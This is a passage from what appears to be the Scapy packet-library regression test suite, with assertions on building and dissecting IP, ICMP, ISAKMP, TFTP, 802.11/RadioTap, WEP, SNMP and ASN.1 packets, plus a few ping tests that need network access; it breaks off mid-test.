MATPLOTLIB_INLINED, MATPLOTLIB_DEFAULT_PLOT_KARGS assert MATPLOTLIB == 1 assert MATPLOTLIB_INLINED == 0 assert "marker" in MATPLOTLIB_DEFAULT_PLOT_KARGS if bck_scapy_ext_lib: sys.modules["scapy.extlib"] = bck_scapy_ext_lib ############ ############ + Basic tests * Those test are here mainly to check nothing has been broken * and to catch Exceptions = Packet class methods p = IP()/ICMP() ret = p.do_build_ps() assert(ret[0] == b"@\x00\x00\x00\x00\x01\x00\x00@\x01\x00\x00\x7f\x00\x00\x01\x7f\x00\x00\x01\x08\x00\x00\x00\x00\x00\x00\x00") assert(len(ret[1]) == 2) assert(p[ICMP].firstlayer() == p) assert(p.command() == "IP()/ICMP()") p.decode_payload_as(UDP) assert(p.sport == 2048 and p.dport == 63487) = hide_defaults conf_color_theme = conf.color_theme conf.color_theme = BlackAndWhite() p = IP(ttl=64)/ICMP() assert(repr(p) in [">", ">"]) p.hide_defaults() assert(repr(p) in [">", ">"]) conf.color_theme = conf_color_theme = split_layers p = IP()/ICMP() s = raw(p) split_layers(IP, ICMP, proto=1) assert(Raw in IP(s)) bind_layers(IP, ICMP, frag=0, proto=1) = fuzz r = fuzz(IP(tos=2)/ICMP()) assert r.tos == 2 z = r.ttl assert r.ttl != z assert r.ttl != z = fuzz a Packet with MultipleTypeField fuzz(ARP(pdst="127.0.0.1")) fuzz(IP()/ARP(pdst='10.0.0.254')) = fuzz on packets with advanced RandNum x = IP(dst="8.8.8.8")/fuzz(UDP()/NTP(version=4)) x.show2() x = IP(raw(x)) assert NTP in x = fuzz on packets with FlagsField assert isinstance(fuzz(TCP()).flags, VolatileValue) = Building some packets ~ basic IP TCP UDP NTP LLC SNAP Dot11 IP()/TCP() Ether()/IP()/UDP()/NTP() Dot11()/LLC()/SNAP()/IP()/TCP()/"XXX" IP(ttl=25)/TCP(sport=12, dport=42) IP().summary() = Manipulating some packets ~ basic IP TCP a=IP(ttl=4)/TCP() a.ttl a.ttl=10 del(a.ttl) a.ttl TCP in a a[TCP] a[TCP].dport=[80,443] a assert(a.copy().time == a.time) a=3 = Checking overloads ~ basic IP TCP Ether a=Ether()/IP()/TCP() r = a.proto r r == 6 = sprintf() function ~ basic sprintf Ether IP UDP NTP a=Ether()/IP()/IP(ttl=4)/UDP()/NTP() r = a.sprintf("%type% %IP.ttl% %#05xr,UDP.sport% %IP:2.ttl%") r r in ['0x800 64 0x07b 4', 'IPv4 64 0x07b 4'] = sprintf() function ~ basic sprintf IP TCP SNAP LLC Dot11 * This test is on the conditional substring feature of sprintf() a=Dot11()/LLC()/SNAP()/IP()/TCP() r = a.sprintf("{IP:{TCP:flags=%TCP.flags%}{UDP:port=%UDP.ports%} %IP.src%}") r r == 'flags=S 127.0.0.1' = haslayer function ~ basic haslayer IP TCP ICMP ISAKMP x=IP(id=1)/ISAKMP_payload_SA(prop=ISAKMP_payload_SA(prop=IP()/ICMP()))/TCP() r = (TCP in x, ICMP in x, IP in x, UDP in x) r r == (True,True,True,False) = getlayer function ~ basic getlayer IP ISAKMP UDP x=IP(id=1)/ISAKMP_payload_SA(prop=IP(id=2)/UDP(dport=1))/IP(id=3)/UDP(dport=2) x[IP] x[IP:2] x[IP:3] x.getlayer(IP,3) x.getlayer(IP,4) x[UDP] x[UDP:1] x[UDP:2] assert(x[IP].id == 1 and x[IP:2].id == 2 and x[IP:3].id == 3 and x.getlayer(IP).id == 1 and x.getlayer(IP,3).id == 3 and x.getlayer(IP,4) == None and x[UDP].dport == 1 and x[UDP:2].dport == 2) try: x[IP:4] except IndexError: True else: False = getlayer / haslayer with name ~ basic getlayer IP ICMP IPerror TCPerror x = IP() / ICMP() / IPerror() assert x.getlayer(ICMP) is not None assert x.getlayer(IPerror) is not None assert x.getlayer("IP in ICMP") is not None assert x.getlayer(TCPerror) is None assert x.getlayer("TCP in ICMP") is None assert x.haslayer(ICMP) assert x.haslayer(IPerror) assert x.haslayer("IP in ICMP") assert not x.haslayer(TCPerror) assert not x.haslayer("TCP in ICMP") = getlayer with a filter ~ getlayer IP pkt = IP() / IP(ttl=3) / IP() assert pkt[IP::{"ttl":3}].ttl == 3 assert pkt.getlayer(IP, ttl=3).ttl == 3 assert IPv6ExtHdrHopByHop(options=[HBHOptUnknown()]).getlayer(HBHOptUnknown, otype=42) is None = specific haslayer and getlayer implementations for NTP ~ haslayer getlayer NTP pkt = IP() / UDP() / NTPHeader() assert NTP in pkt assert pkt.haslayer(NTP) assert isinstance(pkt[NTP], NTPHeader) assert isinstance(pkt.getlayer(NTP), NTPHeader) = specific haslayer and getlayer implementations for EAP ~ haslayer getlayer EAP pkt = Ether() / EAPOL() / EAP_MD5() assert EAP in pkt assert pkt.haslayer(EAP) assert isinstance(pkt[EAP], EAP_MD5) assert isinstance(pkt.getlayer(EAP), EAP_MD5) = specific haslayer and getlayer implementations for RadiusAttribute ~ haslayer getlayer RadiusAttribute pkt = RadiusAttr_EAP_Message() assert RadiusAttribute in pkt assert pkt.haslayer(RadiusAttribute) assert isinstance(pkt[RadiusAttribute], RadiusAttr_EAP_Message) assert isinstance(pkt.getlayer(RadiusAttribute), RadiusAttr_EAP_Message) = equality ~ basic w=Ether()/IP()/UDP(dport=53) x=Ether()/IP(version=4)/UDP() y=Ether()/IP()/UDP(dport=4) z=Ether()/IP()/UDP()/NTP() t=Ether()/IP()/TCP() assert x != y and x != z and x != t and y != z and y != t and z != t and w == x = answers ~ basic a1, a2 = "1.2.3.4", "5.6.7.8" p1 = IP(src=a1, dst=a2)/ICMP(type=8) p2 = IP(src=a2, dst=a1)/ICMP(type=0) assert p1.hashret() == p2.hashret() assert not p1.answers(p2) assert p2.answers(p1) assert p1 > p2 assert p2 < p1 assert p1 == p1 conf_back = conf.checkIPinIP conf.checkIPinIP = True px = [IP()/p1, IPv6()/p1] assert not any(p.hashret() == p2.hashret() for p in px) assert not any(p.answers(p2) for p in px) assert not any(p2.answers(p) for p in px) conf.checkIPinIP = False assert all(p.hashret() == p2.hashret() for p in px) assert not any(p.answers(p2) for p in px) assert all(p2.answers(p) for p in px) conf.checkIPinIP = conf_back = answers - Net ~ netaccess a1, a2 = Net("www.google.com"), Net("www.secdev.org") prt1, prt2 = 12345, 54321 s1, s2 = 2767216324, 3845532842 p1 = IP(src=a1, dst=a2)/TCP(flags='SA', seq=s1, ack=s2, sport=prt1, dport=prt2) p2 = IP(src=a2, dst=a1)/TCP(flags='R', seq=s2, ack=0, sport=prt2, dport=prt1) assert p2.answers(p1) assert not p1.answers(p2) # Not available yet because of IPv6 # a1, a2 = Net6("www.google.com"), Net6("www.secdev.org") p1 = IP(src=a1, dst=a2)/TCP(flags='S', seq=s1, ack=0, sport=prt1, dport=prt2) p2 = IP(src=a2, dst=a1)/TCP(flags='RA', seq=0, ack=s1+1, sport=prt2, dport=prt1) assert p2.answers(p1) assert not p1.answers(p2) p1 = IP(src=a1, dst=a2)/TCP(flags='S', seq=s1, ack=0, sport=prt1, dport=prt2) p2 = IP(src=a2, dst=a1)/TCP(flags='SA', seq=s2, ack=s1+1, sport=prt2, dport=prt1) assert p2.answers(p1) assert not p1.answers(p2) p1 = IP(src=a1, dst=a2)/TCP(flags='A', seq=s1, ack=s2+1, sport=prt1, dport=prt2) assert not p2.answers(p1) assert p1.answers(p2) p1 = IP(src=a1, dst=a2)/TCP(flags='S', seq=s1, ack=0, sport=prt1, dport=prt2) p2 = IP(src=a2, dst=a1)/TCP(flags='SA', seq=s2, ack=s1+10, sport=prt2, dport=prt1) assert not p2.answers(p1) assert not p1.answers(p2) p1 = IP(src=a1, dst=a2)/TCP(flags='A', seq=s1, ack=s2+1, sport=prt1, dport=prt2) assert not p2.answers(p1) assert not p1.answers(p2) p1 = IP(src=a1, dst=a2)/TCP(flags='A', seq=s1+9, ack=s2+10, sport=prt1, dport=prt2) assert not p2.answers(p1) assert not p1.answers(p2) = conf.checkIPsrc conf_checkIPsrc = conf.checkIPsrc conf.checkIPsrc = 0 query = IP(id=42676, src='10.128.0.7', dst='192.168.0.1')/ICMP(id=26) answer = IP(src='192.168.48.19', dst='10.128.0.7')/ICMP(type=11)/IPerror(id=42676, src='192.168.51.23', dst='192.168.0.1')/ICMPerror(id=26) assert answer.answers(query) conf.checkIPsrc = conf_checkIPsrc ############ ############ + Tests on padding = Padding assembly r = raw(Padding("abc")) r assert(r == b"abc" ) r = raw(Padding("abc")/Padding("def")) r assert(r == b"abcdef" ) r = raw(Raw("ABC")/Padding("abc")/Padding("def")) r assert(r == b"ABCabcdef" ) r = raw(Raw("ABC")/Padding("abc")/Raw("DEF")/Padding("def")) r assert(r == b"ABCDEFabcdef") = Padding and length computation p = IP(raw(IP()/Padding("abc"))) p assert(p.len == 20 and len(p) == 23) p = IP(raw(IP()/Raw("ABC")/Padding("abc"))) p assert(p.len == 23 and len(p) == 26) p = IP(raw(IP()/Raw("ABC")/Padding("abc")/Padding("def"))) p assert(p.len == 23 and len(p) == 29) = PadField test ~ PadField padding class TestPad(Packet): fields_desc = [ PadField(StrNullField("st", b""),4), StrField("id", b"")] TestPad() == TestPad(raw(TestPad())) = ReversePadField ~ PadField padding class TestReversePad(Packet): fields_desc = [ ByteField("a", 0), ReversePadField(IntField("b", 0), 4)] assert raw(TestReversePad(a=1, b=0xffffffff)) == b'\x01\x00\x00\x00\xff\xff\xff\xff' assert TestReversePad(raw(TestReversePad(a=1, b=0xffffffff))).b == 0xffffffff ############ ############ + Tests on default value changes mechanism = Creation of an IPv3 class from IP class with different default values class IPv3(IP): version = 3 ttl = 32 = Test of IPv3 class a = IPv3() v,t = a.version, a.ttl v,t assert((v,t) == (3,32)) r = raw(a) r assert(r == b'5\x00\x00\x14\x00\x01\x00\x00 \x00\xac\xe7\x7f\x00\x00\x01\x7f\x00\x00\x01') ############ ############ + ISAKMP transforms test = ISAKMP creation ~ IP UDP ISAKMP p=IP(src='192.168.8.14',dst='10.0.0.1')/UDP()/ISAKMP()/ISAKMP_payload_SA(prop=ISAKMP_payload_Proposal(trans=ISAKMP_payload_Transform(transforms=[('Encryption', 'AES-CBC'), ('Hash', 'MD5'), ('Authentication', 'PSK'), ('GroupDesc', '1536MODPgr'), ('KeyLength', 256), ('LifeType', 'Seconds'), ('LifeDuration', 86400)])/ISAKMP_payload_Transform(res2=12345,transforms=[('Encryption', '3DES-CBC'), ('Hash', 'SHA'), ('Authentication', 'PSK'), ('GroupDesc', '1024MODPgr'), ('LifeType', 'Seconds'), ('LifeDuration', 86400)]))) p.show() p = ISAKMP manipulation ~ ISAKMP r = p[ISAKMP_payload_Transform:2] r r.res2 == 12345 = ISAKMP assembly ~ ISAKMP hexdump(p) raw(p) == b"E\x00\x00\x96\x00\x01\x00\x00@\x11\xa7\x9f\xc0\xa8\x08\x0e\n\x00\x00\x01\x01\xf4\x01\xf4\x00\x82\xbf\x1e\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x10\x00\x00\x00\x00\x00\x00\x00\x00\x00z\x00\x00\x00^\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00R\x01\x01\x00\x00\x03\x00\x00'\x00\x01\x00\x00\x80\x01\x00\x07\x80\x02\x00\x01\x80\x03\x00\x01\x80\x04\x00\x05\x80\x0e\x01\x00\x80\x0b\x00\x01\x00\x0c\x00\x03\x01Q\x80\x00\x00\x00#\x00\x0109\x80\x01\x00\x05\x80\x02\x00\x02\x80\x03\x00\x01\x80\x04\x00\x02\x80\x0b\x00\x01\x00\x0c\x00\x03\x01Q\x80" = ISAKMP disassembly ~ ISAKMP q=IP(raw(p)) q.show() r = q[ISAKMP_payload_Transform:2] r r.res2 == 12345 ############ ############ + TFTP tests = TFTP Options x=IP()/UDP(sport=12345)/TFTP()/TFTP_RRQ(filename="fname")/TFTP_Options(options=[TFTP_Option(oname="blksize", value="8192"),TFTP_Option(oname="other", value="othervalue")]) assert( raw(x) == b'E\x00\x00H\x00\x01\x00\x00@\x11|\xa2\x7f\x00\x00\x01\x7f\x00\x00\x0109\x00E\x004B6\x00\x01fname\x00octet\x00blksize\x008192\x00other\x00othervalue\x00' ) y=IP(raw(x)) y[TFTP_Option].oname y[TFTP_Option:2].oname assert(len(y[TFTP_Options].options) == 2 and y[TFTP_Option].oname == b"blksize") ############ ############ + Dot11 tests = Dot11FCS parent matching pkt = Ether()/IP()/Dot11FCS() assert pkt[Dot11] = Dot11FCS - test FCS with FCSField data = b'\x00\x00 \x00\xae@\x00\xa0 \x08\x00\xa0 \x08\x00\x00\x10\x02\x85\t\xa0\x00\xe2\x00d\x00\x00\x00\x00\x00\x00\x01\xa0@:\x01\x00\xc0\xca\xa4}PLfA\xac\xe4\xb3\x00\xc0\xca\xa4}P\x00\x03\x00 \x08 \x00\x00\x00\x00\x0f)\x1d\xd4\xd49\x1f>4\xeb' pkt = RadioTap(data) w_payload = hex_bytes('00002000ae4000a0200800a02008000010028509a000e2006400000000000001a0403a0100c0caa47d504c6641ace4b300c0caa47d50000300200820000000000f291dd4d4391f3e34eb') assert raw(pkt) == w_payload = Dot11FCS computation pkt = RadioTap() / Dot11FCS() / Dot11Beacon() assert raw(pkt) == b'\x00\x00\t\x00\x02\x00\x00\x00\x10\x80\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00d\x00\x00\x00e\xd9=\xb9' = WEP tests ~ wifi crypto Dot11 LLC SNAP IP TCP conf.wepkey = "" bck_conf_crypto_valid = conf.crypto_valid p = Dot11WEP(b'\x00\x00\x00\x00\xe3OjYLw\xc3x_%\xd0\xcf\xdeu-\xc3pH#\x1eK\xae\xf5\xde\xe7\xb8\x1d,\xa1\xfe\xe83\xca\xe1\xfe\xbd\xfe\xec\x00)T`\xde.\x93Td\x95C\x0f\x07\xdd') assert isinstance(p, Dot11WEP) conf.crypto_valid = bck_conf_crypto_valid conf.wepkey = "Fobar" r = raw(Dot11WEP()/LLC()/SNAP()/IP()/TCP(seq=12345678)) r assert(r == b'\x00\x00\x00\x00\xe3OjYLw\xc3x_%\xd0\xcf\xdeu-\xc3pH#\x1eK\xae\xf5\xde\xe7\xb8\x1d,\xa1\xfe\xe83\xca\xe1\xfe\xbd\xfe\xec\x00)T`\xde.\x93Td\x95C\x0f\x07\xdd') p = Dot11WEP(r) p assert(TCP in p and p[TCP].seq == 12345678) = RadioTap - dissection & build data = b'\x00\x008\x00k\x084\x00oo\x0f\x98\x00\x00\x00\x00\x10\x00\x99\x16@\x01\xc5\xa1\x01\x00\x00\x00@\x01\x02\x00\x99\x16\x9d"\x05\x0b\x00\x00\x00\x00\x00\x00\xff\x01\x16\x01\x82\x00\x00\x00\x01\x00\x00\x00\x88\x020\x00\xb8\xe8VB_\xb2\x82*\xa8Uq\x15\xf0\x9f\xc2\x11\x16dP\xb0\x00\x00\xaa\xaa\x03\x00\x00\x00\x08\x00E\x00\x00GC\xad@\x007\x11\x97;\xd0C\xde{\xac\x10\r\xee\x005\xed\xec\x003\xd5/\xfc\\\x81\x80\x00\x01\x00\x01\x00\x00\x00\x00\tlocalhost\x00\x00\x01\x00\x01\xc0\x0c\x00\x01\x00\x01\x00\t:\x80\x00\x04\x7f\x00\x00\x01\xcdj\x88]' r = RadioTap(data) r = RadioTap(raw(r)) assert r.dBm_AntSignal == -59 assert r.ChannelFrequency == 5785 assert r.ChannelPlusFrequency == 5785 assert r.present == 3410027 assert r.A_MPDU_ref == 2821 assert r.KnownVHT == 511 assert r.PresentVHT == 22 assert r.notdecoded == b'' = RadioTap Big-Small endian dissection data = b'\x00\x00\x1a\x00/H\x00\x00\xe1\xd3\xcb\x05\x00\x00\x00\x00@0x\x14@\x01\xac\x00\x00\x00' r = RadioTap(data) r.show() assert r.present == 18479 = RadioTap MCS dissection data = b"\x00\x00\x0b\x00\x00\x00\x08\x00?,\x05" r = RadioTap(data) r.show() assert r.present.MCS assert r.knownMCS.MCS_bandwidth assert r.knownMCS.MCS_index assert r.knownMCS.guard_interval assert r.knownMCS.HT_format assert r.knownMCS.FEC_type assert r.knownMCS.STBC_streams assert not r.knownMCS.Ness assert not r.knownMCS.Ness_MSB assert r.MCS_bandwidth == 0 assert r.guard_interval == 1 assert r.HT_format == 1 assert r.FEC_type == 0 assert r.STBC_streams == 1 assert r.MCS_index == 5 assert r.Ness_LSB == 0 = RadioTap RX/TX Flags dissection data = b'\x00\x00\x0c\x00\x00\xc0\x00\x00\x02\x00\x1f\x00' r = RadioTap(data) r.show() assert r.present.TXFlags assert r.TXFlags.TX_FAIL assert r.TXFlags.CTS assert r.TXFlags.RTS assert r.TXFlags.NOACK assert r.TXFlags.NOSEQ assert r.present.RXFlags assert r.RXFlags.BAD_PLCP = RadioTap, other fields data = b'\x00\x00 \x00\xae@\x00\xa0 \x08\x00\xa0 \x08\x00\x00\x10\x02\x85\t\xa0\x00\xe2\x00d\x00\x00\x00\x00\x00\x00\x01\xa0@:\x01\x00\xc0\xca\xa4}PLfA\xac\xe4\xb3\x00\xc04\xeb\xca\xa4}P\x00 \x08 \x00\x00\x00\x00\x0f)\x1d\xd4\xd49\x00\x03\x1f>' r = RadioTap(data) assert Dot11TKIP in r assert r[Dot11] assert r.dBm_AntSignal == -30 assert r.Lock_Quality == 100 assert r.RXFlags == 0 = RadioTap - Dissection - guess_payload_class() test data = b'\x00\x00\r\x00\x04\x80\x02\x00\x02\x00\x00\x00\x00@\x00\x00\x00\xff\xff\xff\xff\xff\xff\xe8\x94\xf6\x1c\xdf\x8b\xff\xff\xff\xff\xff\xff\xa0\x01\x00\x10ciscosb-wpa2-eap\x01\x08\x02\x04\x0b\x16\x0c\x12\x18$2\x040H`l\x03\x01\x01-\x1an\x11\x1b\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00' radiotap = RadioTap(data) assert radiotap.present.Rate assert radiotap.present.TXFlags assert radiotap.present.b18 assert radiotap.present == 163844 assert radiotap.guess_payload_class("") == Dot11 = RadioTap - Dissection with Extended presence mask data = b"\x00\x00 \x00\xae@\x00\xa0 \x08\x00\xa0 \x08\x00\x00\x10\x02\x9e\t\xa0\x00\xa2\x00d\x00\x00\x00\x00\x00\x00\x01\x80\x00\x00\x00\xff\xff\xff\xff\xff\xff\x94S0\xe8\x93\xb2\x94S0\xe8\x93\xb2\xf0u\x85\xe1H\x9c\x08\x00\x00\x00d\x00\x11\x14\x00\x08Why Fye?\x01\x08\x82\x84\x8b\x96$0Hl\x03\x01\x0b\x05\x04\x00\x01\x00\x00*\x01\x04/\x01\x040\x14\x01\x00\x00\x0f\xac\x04\x01\x00\x00\x0f\xac\x04\x01\x00\x00\x0f\xac\x02\x0c\x002\x04\x0c\x12\x18`\x0b\x05\x07\x00;\x00\x00-\x1a\xad\x19\x17\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00=\x16\x0b\x08\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x7f\x08\x04\x00\x08\x00\x00\x00\x00@\xdd1\x00P\xf2\x04\x10J\x00\x01\x10\x10D\x00\x01\x02\x10G\x00\x10\xef\xda]\xd2#\xe8\xa7\xf0\xb2/\xa4\x98\xbf\x0cv\xe7\x10<\x00\x01\x03\x10I\x00\x06\x007*\x00\x01 \xdd\t\x00\x10\x18\x02\x07\x00\x1c\x00\x00\xdd\x18\x00P\xf2\x02\x01\x01\x80\x00\x03\xa4\x00\x00'\xa4\x00\x00BC^\x00b2/\x00F\x05r\x08\x01\x00\x00\xdd\x1e\x00\x90L\x04\x08\xbf\x0c\xb2Y\x82\x0f\xea\xff\x00\x00\xea\xff\x00\x00\xc0\x05\x00\x0b\x00\x00\x00\xc3\x02\x00\x02\x08I\xc0\xdb" radiotap = RadioTap(data) assert radiotap.present.Ext assert len(radiotap.Ext) == 2 assert radiotap.Ext[0].present.b5 assert radiotap.Ext[0].present.b11 assert radiotap.Ext[0].present.b29 assert radiotap.Ext[0].present.Ext assert radiotap.Ext[1].present.b37 assert radiotap.Ext[1].present.b43 assert not radiotap.Ext[1].present.Ext assert radiotap.present.Flags assert radiotap.Flags.FCS assert Dot11FCS in radiotap assert radiotap.fcs == 0xdbc04908 assert Dot11EltRates in radiotap assert radiotap[Dot11EltRates].rates == [130, 132, 139, 150, 36, 48, 72, 108] = RadioTap - Build with Extended presence mask a = RadioTapExtendedPresenceMask(present="b0+b12+b29+Ext") b = RadioTapExtendedPresenceMask(index=1, present="b32+b45+b59+b62") pkt = RadioTap(present="Ext", Ext=[a, b]) assert raw(pkt) == b'\x00\x00\x10\x00\x00\x00\x00\x80\x01\x10\x00\xa0\x01 \x00H' = fuzz() calls for Dot11Elt() for i in range(10): assert isinstance(raw(fuzz(Dot11Elt())), bytes) = PMKIDListPacket - Check computation of nb_pmkids assert PMKIDListPacket(raw(PMKIDListPacket())).nb_pmkids == 0 assert PMKIDListPacket(raw(PMKIDListPacket(pmkid_list=["AZEDFREZSDERFGTY"]))).nb_pmkids == 1 assert PMKIDListPacket(raw(PMKIDListPacket(pmkid_list=["0123456789ABDEFX", "AZEDFREZSDERFGTY"]))).nb_pmkids == 2 = Dot11EltRSN - Check computation of nb_pairwise_cipher_suites and nb_akm_suites assert Dot11EltRSN(raw(Dot11EltRSN())).nb_pairwise_cipher_suites == 1 assert Dot11EltRSN(raw(Dot11EltRSN(pairwise_cipher_suites=[RSNCipherSuite(cipher="TKIP")]))).nb_pairwise_cipher_suites == 1 assert Dot11EltRSN(raw(Dot11EltRSN(pairwise_cipher_suites=[RSNCipherSuite(cipher="TKIP"), RSNCipherSuite(cipher="CCMP-128")]))).nb_pairwise_cipher_suites == 2 assert Dot11EltRSN(raw(Dot11EltRSN())).nb_akm_suites == 1 assert Dot11EltRSN(raw(Dot11EltRSN(akm_suites=[AKMSuite(suite="PSK")]))).nb_akm_suites == 1 assert Dot11EltRSN(raw(Dot11EltRSN(akm_suites=[AKMSuite(suite="PSK"), AKMSuite(suite="802.1X")]))).nb_akm_suites == 2 = Dot11EltMicrosoftWPA - Check computation of nb_pairwise_cipher_suites and nb_akm_suites assert Dot11EltMicrosoftWPA(raw(Dot11EltMicrosoftWPA())).nb_pairwise_cipher_suites == 1 assert Dot11EltMicrosoftWPA(raw(Dot11EltMicrosoftWPA(pairwise_cipher_suites=[RSNCipherSuite(cipher="TKIP")]))).nb_pairwise_cipher_suites == 1 assert Dot11EltMicrosoftWPA(raw(Dot11EltMicrosoftWPA(pairwise_cipher_suites=[RSNCipherSuite(cipher="TKIP"), RSNCipherSuite(cipher="CCMP-128")]))).nb_pairwise_cipher_suites == 2 assert Dot11EltMicrosoftWPA(raw(Dot11EltMicrosoftWPA())).nb_akm_suites == 1 assert Dot11EltMicrosoftWPA(raw(Dot11EltMicrosoftWPA(akm_suites=[AKMSuite(suite="PSK")]))).nb_akm_suites == 1 assert Dot11EltMicrosoftWPA(raw(Dot11EltMicrosoftWPA(akm_suites=[AKMSuite(suite="PSK"), AKMSuite(suite="802.1X")]))).nb_akm_suites == 2 ############ ############ + SNMP tests = SNMP assembling ~ SNMP ASN1 r = raw(SNMP()) r assert(r == b'0\x18\x02\x01\x01\x04\x06public\xa0\x0b\x02\x01\x00\x02\x01\x00\x02\x01\x000\x00') p = SNMP(version="v2c", community="ABC", PDU=SNMPbulk(id=4,varbindlist=[SNMPvarbind(oid="1.2.3.4",value=ASN1_INTEGER(7)),SNMPvarbind(oid="4.3.2.1.2.3",value=ASN1_IA5_STRING("testing123"))])) p r = raw(p) r assert(r == b'05\x02\x01\x01\x04\x03ABC\xa5+\x02\x01\x04\x02\x01\x00\x02\x01\x000 0\x08\x06\x03*\x03\x04\x02\x01\x070\x14\x06\x06\x81#\x02\x01\x02\x03\x16\ntesting123') = SNMP disassembling ~ SNMP ASN1 x=SNMP(b'0y\x02\x01\x00\x04\x06public\xa2l\x02\x01)\x02\x01\x00\x02\x01\x000a0!\x06\x12+\x06\x01\x04\x01\x81}\x08@\x04\x02\x01\x07\n\x86\xde\xb78\x04\x0b172.31.19.20#\x06\x12+\x06\x01\x04\x01\x81}\x08@\x04\x02\x01\x07\n\x86\xde\xb76\x04\r255.255.255.00\x17\x06\x12+\x06\x01\x04\x01\x81}\x08@\x04\x02\x01\x05\n\x86\xde\xb9`\x02\x01\x01') x.show() assert(x.community==b"public" and x.version == 0) assert(x.PDU.id == 41 and len(x.PDU.varbindlist) == 3) assert(x.PDU.varbindlist[0].oid == "1.3.6.1.4.1.253.8.64.4.2.1.7.10.14130104") assert(x.PDU.varbindlist[0].value == b"172.31.19.2") assert(x.PDU.varbindlist[2].oid == "1.3.6.1.4.1.253.8.64.4.2.1.5.10.14130400") assert(x.PDU.varbindlist[2].value == 1) = Basic UDP/SNMP bindings ~ SNMP ASN1 z = UDP()/x z = UDP(raw(z)) assert SNMP in z x = UDP()/SNMP() assert x.sport == x.dport == 161 = Basic SNMPvarbind build ~ SNMP ASN1 x = SNMPvarbind(oid=ASN1_OID("1.3.6.1.2.1.1.4.0"), value=RandBin()) x = SNMPvarbind(raw(x)) assert isinstance(x.value, ASN1_STRING) = Failing SNMPvarbind dissection ~ SNMP ASN1 try: SNMP('0a\x02\x01\x00\x04\x06public\xa3T\x02\x02D\xd0\x02\x01\x00\x02\x01\x000H0F\x06\x08+\x06\x01\x02\x01\x01\x05\x00\x00\x03\x01\x02D\x00\x03\x01\x02D\x00\x03\x01\x02D\x00\x03\x01\x02D\x00\x03\x01\x02D\x00\x03\x01\x02D\x00\x03\x01\x02D\x00\x03\x01\x02D\x00\x03\x01\x02D\x00\x03\x01\x02D\x00\x03\x01\x02D\x00\x03\x01\x02D') assert False except BER_Decoding_Error: pass = ASN1 - ASN1_Object assert ASN1_Object(1) == ASN1_Object(1) assert ASN1_Object(1) > ASN1_Object(0) assert ASN1_Object(1) >= ASN1_Object(1) assert ASN1_Object(0) < ASN1_Object(1) assert ASN1_Object(1) <= ASN1_Object(2) assert ASN1_Object(1) != ASN1_Object(2) ASN1_Object(2).show() = ASN1 - RandASN1Object a = RandASN1Object() random.seed(0x2807) o = bytes(a) o assert o in [ b'\x02\x02\xfe\x92', b'A\x02\x07q', b'\x15\x10E55WW2a7yrh9XEck', b'C\x02\xfe\x92', b'\x1e\x023V' ] = ASN1 - ASN1_BIT_STRING a = ASN1_BIT_STRING("test", readable=True) a assert a.val == '01110100011001010111001101110100' assert raw(a) == b'\x03\x05\x00test' a = ASN1_BIT_STRING(b"\xff"*16, readable=True) a assert a.val == "1" * 128 assert raw(a) == b'\x03\x11\x00\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff' = ASN1 - ASN1_SEQUENCE a = ASN1_SEQUENCE([ASN1_Object(1), ASN1_Object(0)]) assert a.strshow() == '# ASN1_SEQUENCE:\n \n \n' = ASN1 - ASN1_DECODING_ERROR a = ASN1_DECODING_ERROR("error", exc=OSError(1)) assert repr(a) == "" b = ASN1_DECODING_ERROR("error", exc=OSError(ASN1_BIT_STRING("0"))) assert repr(b) in ["}}>", "}}>"] = ASN1 - ASN1_INTEGER a = ASN1_INTEGER(int("1"*23)) assert repr(a) in ["0x25a55a46e5da99c71c7 ", "0x25a55a46e5da99c71c7 "] = ASN1 - ASN1_OID assert raw(ASN1_OID("")) == b"\x06\x00" = RandASN1Object(), specific crashes import random # ASN1F_NUMERIC_STRING random.seed(1514315682) raw(RandASN1Object()) # ASN1F_VIDEOTEX_STRING random.seed(1240186058) raw(RandASN1Object()) # ASN1F_UTC_TIME & ASN1F_GENERALIZED_TIME random.seed(1873503288) raw(RandASN1Object()) = SSID is parsed properly even with the presence of RSN Information ~ SSID RSN Information # A regression test for https://github.com/secdev/scapy/pull/2685. # https://github.com/secdev/scapy/issues/2683 describes a packet with # RSN Information that isn't parsed properly, # causing the SSID to be overridden. # This test checks the SSID is parsed properly. print(os.path.dirname(__file__)) filename = os.path.abspath( os.path.join( os.path.dirname(__file__), "..", "test", "pcaps", "bad_rsn_parsing_overrides_ssid.pcap" )) frame = rdpcap(filename)[0] beacon = frame.getlayer(5) ssid = beacon.network_stats()['ssid'] assert ssid == "ROUTE-821E295" ############ ############ + Network tests * Those tests need network access = Sending and receiving an ICMP ~ netaccess IP ICMP def _test(): old_debug_dissector = conf.debug_dissector conf.debug_dissector = False x = sr1(IP(dst="www.google.com")/ICMP(),timeout=3) conf.debug_dissector = old_debug_dissector x assert x[IP].ottl() in [32, 64, 128, 255] assert 0 <= x[IP].hops() <= 126 x is not None and ICMP in x and x[ICMP].type == 0 retry_test(_test) = Sending an ICMP message at layer 2 and layer 3 ~ netaccess IP ICMP def _test(): tmp = send(IP(dst="8.8.8.8")/ICMP(), return_packets=True, realtime=True) assert(len(tmp) == 1) tmp = sendp(Ether()/IP(dst="8.8.8.8")/ICMP(), return_packets=True, realtime=True) assert(len(tmp) == 1) p = Ether()/IP(dst="8.8.8.8")/ICMP() from decimal import Decimal p.time = Decimal(p.time) tmp = sendp(p, return_packets=True, realtime=True) assert(len(tmp) == 1) retry_test(_test) = Latency check: localhost ICMP ~ netaccess linux latency sock = conf.L3socket conf.L3socket = L3RawSocket def _test(): req = IP(dst="127.0.0.1")/ICMP() ans = sr1(req) assert (ans.time - req.sent_time) >= 0 assert (ans.time - req.sent_time) <= 1e-3 retry_test(_test) conf.L3socket = sock = Sending an ICMP message 'forever' at layer 2 and layer 3 ~ netaccess IP ICMP def _test(): tmp = srloop(IP(dst="8.8.8.8")/ICMP(), count=1) 